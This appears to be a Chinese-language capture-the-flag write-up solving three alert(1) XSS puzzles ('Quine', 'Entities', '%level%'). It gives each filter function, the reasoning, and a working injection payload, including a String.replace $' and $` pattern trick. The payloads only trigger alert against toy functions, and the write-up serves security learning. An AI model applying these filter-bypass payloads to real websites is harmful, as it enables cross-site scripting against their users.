Quine
題目:
// submitted by Somebody
function escape(s) {
// We've got a quine level in all of the other
// games, so why not have one here?
var win = alert;
window.alert = function(t) {
if (t === s)
win(1);
else
console.log("Alert: " + t + "\n(That's not a quine)");
}
return s;
}
解題:
s 能夠呼叫 alert,但呼叫的參數 t 等同於 s
s 會是整個 document 的內容,這邊用 document.body.innerHTML 當參數 t 傳入即可ANS: <script>alert(document.body.innerHTML)</script>
Entities
// submitted by securityMB
function escape(s) {
function htmlentities(s) {
return s.replace(/[&<>"']/g, c => `&#${c.charCodeAt(0)};`)
}
s = htmlentities(s);
return `<script>
var obj = {};
obj["${s}"] = "${s}";
</script>`;
}
題目過濾了 &<>"',但是沒有過濾 ; 和 / 和 \
宣告了個物件 obj,並且命 obj["輸入字串"] ="輸入字串";
而 JS 有個特性,若找不存在的 key,不會造成語法錯誤

那我們就利用這個特性,將 obj 變成 obj["字串"];alert(1); ,來執行 alert(1)

];alert(1);//\
%level%
題目:
// submitted anonymously
function escape(s) {
const userInput = JSON.stringify(s).replace(/[<]/g, '%lt').replace(/[>]/g, '%gt');
const userTemplate = '<script>let some = %userData%</script>';
return userTemplate.replace(/%userData%/, userInput);
}
解題:
$' 表示 after match , $` 表示 before matchuserTemplate.replace(/%userData%/, userInput); 中:
userInput 中出現$'表示 </script>
userInput 中出現 $` 表示 <script>let some =
</script><script>let some = alert(1)// 繞過限制。ANS
$'$`alert(1)//